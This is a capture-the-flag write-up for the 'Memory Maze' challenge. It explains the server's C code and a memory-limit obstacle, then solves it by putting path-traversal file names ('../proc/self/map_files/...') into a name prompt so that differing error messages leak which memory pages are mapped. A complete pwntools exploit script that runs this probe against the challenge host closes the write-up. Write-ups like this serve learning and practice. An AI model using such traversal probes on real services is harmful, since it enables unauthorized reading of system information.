> # Memory Maze> Miscellaneous, 287> Difficulty: medium (26 solvers)>> Can you escape my memory maze? Treasure awaits at the end!
We're given C sources for the server and an address to connect to.We also get a shell script which wraps the C server in an `nsjail` which limits what files it can access and how much memory it can use:
```sh~/nsjail/nsjail -Q -Ml --port 1337 -R "$PWD/main:/main" -R "$PWD/flag.txt:/flag.txt" -R /dev/urandom -T /tmp --cgroup_mem_max 170000384 -- /main```
The first thing the server does is generate a "maze":
```Csize_t i, j;for (i = 1; i < size - 1; ++i) {    if (i % 2 == 0) {        maze->maze[i * size + (i % 4 == 0 ? 1 : size - 2)] = 1;        unsigned int b = get_rand_uint();        maze->maze[i * size + 1 + (b % (size - 2))] = 1;    } else {        for (j = 1; j < size - 1; ++j) {            maze->maze[i * size + j] = 1;        }    }}```
This creates a 303 by 303 cell array where the values are 0 (wall) or 1 (hallway).The pattern has some guaranteed hallways like this (but 303 cells wide instead of 20):
```xxxxxxxxxxxxxxxxxxxxx                  xxxxxxxxxxxxxxxxxxx xx                  xx xxxxxxxxxxxxxxxxxxx                  xxxxxxxxxxxxxxxxxxx xx                  xx xxxxxxxxxxxxxxxxxx...```
But for each of the horizontal walls on the even-numbered rows, one randomly placed gap is inserted, like this:
```xxxxxxxxxxxxxxxxxxxxx                  xxxxxxxxxxxxxxx xxx xx                  xx xx xxxxxxxxxxxxxxxx                  xxxxxxxxxxxx xxxxxx xx                  xx xxxxxxxxxxxxx xxxx...```
Then the maze is "mapped".For each "hallway" cell in the maze at index `i` in the two-dimensional array, a page of memory at `0x13370000 + (i * PAGE_SIZE)` is mapped with `mmap`.For "wall" cells, the corresponding page of memory is not mapped.
After creating the maze, the server does is ask us for a "name" which is used to create a file in `/tmp`:
```Cdo {    char name[0x100] = { 0 };    puts("Your name:");
    recv_line(name, sizeof(name));    if (name[0] == '\0') {        puts("Goodbye!");        return 1;    }    printf("Hello %s!\n", name);
    if (snprintf(path, sizeof(path), "/tmp/%s", name) < 0) {        err(1, "snprintf");    }
    solution_fd = open(path, O_WRONLY | O_CREAT, S_IRWXU);    if (solution_fd < 0) {        printf("Path \"%s\" is invalid: %m\n", path);    }} while (solution_fd < 0);```
Once we give it a valid name, it asks us for our "solution", which must be a string consisting of the characters `N`, `E`, `S`, and `W` of maximum length `303*303`.The solution is written out to the file we opened previously, and then is used to attempt to solve the maze:
```Cint solve_maze(struct maze* maze, char* solution) {    size_t x = 1;    size_t y = 1;
    while (*solution) {        switch (*solution) {            case 'N':                --y;                break;            case 'S':                ++y;                break;            case 'E':                ++x;                break;            case 'W':                --x;                break;            default:                x = 0;                y = 0;                break;        }        ++solution;        char* ptr = maze->addr + (y * maze->size + x) * PAGE_SIZE;        printf("At %lu,%lu (%p)\n", x, y, ptr);        printf("Remaining solution: %.8s (%lu)\n", solution, strlen(solution));        *(volatile char*)ptr = 'X';    }
    if (x == maze->size - 2 && y == maze->size - 2) {        return 0;    }
    return 1;}```
We start at `(1,1)` and need to get to `(301,301)`.If the maze is successfully solved (`solve_maze` returns 0) then the server prints the flag.
If we try to move onto a "wall" cell, the memory access will cause a segfault since the corresponding memory page is not mapped, but as long as we stay on the "hallway" cells we don't segfault.Because of the static pattern in the maze, we have known fixed path to the end: move all the way east, south twice, all the way west, south twice, etc.Running locally without the nsjail script, we can get through the maze in this trivial way.But when we apply the memory limit, we run out of memory about halfway through the maze and the server process gets killed.This is because each time we visit a new cell of the maze, we write to the corresponding page of memory, causing that page to be loaded (mapping the pages doesn't actually load them, they only get loaded on access).This essentially places a limit on the length of the path we can take to the end of the maze, and the only way to finish within that limit is to use the randomly-placed shortcuts.
How can we determine where these shortcuts are?Their positions are randomly generated each time the server runs, so they're different every time we connect, and if we try to access any cell that's not a hallway, the server immediately segfaults.The answer lies in `/proc`:
```$ ./main &Maze size: 303Maze address: 0x13370000Your name:
[1]  + 9336 suspended (tty input)  ./main$ ls /proc/9336/map_files134a0000-134a1000  15842000-15843000  17be3000-17be4000 ...```
Every time a process maps a region of memory with `mmap`, an entry appears in procfs, and the name corresponds to the address range.Here we can see that the addresses correspond to the first few hallway cells of the maze: The first hallway cell is at `(1,1)` and the address of its page would be `0x13370000 + ((1 * 303 + 1) * 4096) = 0x134a0000`.
We can determine the existence of a given mapping with some path injection during the "name" prompt.Luckily, the server will keep asking for a name until it can successfully create a file at `snprintf(path, sizeof(path), "/tmp/%s", name)`, and will print out the error message if it fails to create the file.The error message is different depending on whether the map file exists or not:
```$ ./mainMaze size: 303Maze address: 0x13370000Your name:../proc/self/map_files/134a0000-134a1000Hello ../proc/self/map_files/134a0000-134a1000!Path "/tmp/../proc/self/map_files/134a0000-134a1000" is invalid: Operation not permittedYour name:../proc/self/map_files/13370000-13371000Hello ../proc/self/map_files/13370000-13371000!Path "/tmp/../proc/self/map_files/13370000-13371000" is invalid: No such file or directoryYour name:```
So we can use this trick to check every cell in the even-numbered rows to find the randomly placed gaps, and then compute a shorter route through the maze.This route is short enough to make it to the end without exceeding the memory limit.
```pythonfrom pwn import *
SIZE=303
BASE_ADDRESS = 0x13370000PAGE_SIZE = 0x1000
r = remote("memorymaze.hackable.software", 1337)# r = process("cgexec -g memory:limitgroup ./main", shell=True)
solution = ''x = 1y = 1while y < 301:    print(f"At {x},{y}")    _y = y + 1    gap = 1 if (_y % 4 == 0) else SIZE-2    move = gap - x
    search = range(max(1, x - abs(move)) + 1, min(SIZE-2, x + abs(move)))    print(f"Known gap is at {gap}, searching for better gap in {search}")    for _x in search:        addr = BASE_ADDRESS + (_y * SIZE + _x) * PAGE_SIZE        r.recvuntil("Your name:")        r.send(f"../proc/self/map_files/{hex(addr)[2:]}-{hex(addr + PAGE_SIZE)[2:]}\n")        r.recvuntil("is invalid: ")        l = r.recvline()        if b'Operation not permitted' in l:            # print("YES")            gap = _x            move = gap - x            break        elif b'No such file or directory' in l:            continue        else:            raise Exception(f"Unexpected result trying to check {addr}: {l}")     print(f"Best move: {move} to {gap}")    if move < 0:        solution += 'W' * abs(move)    else:        solution += 'E' * abs(move)    x += move    solution += 'S' * 2    y += 2
solution += 'E' * (301 - x)
print(f"Got solution (length {len(solution)})")
r.recvuntil("Your name:")r.send("Inigo Montoya\n")r.recvuntil("Solution size (max 91809):")r.send(f"{len(solution)}\n")r.recvuntil("Solution:\n")r.send(solution)r.interactive()```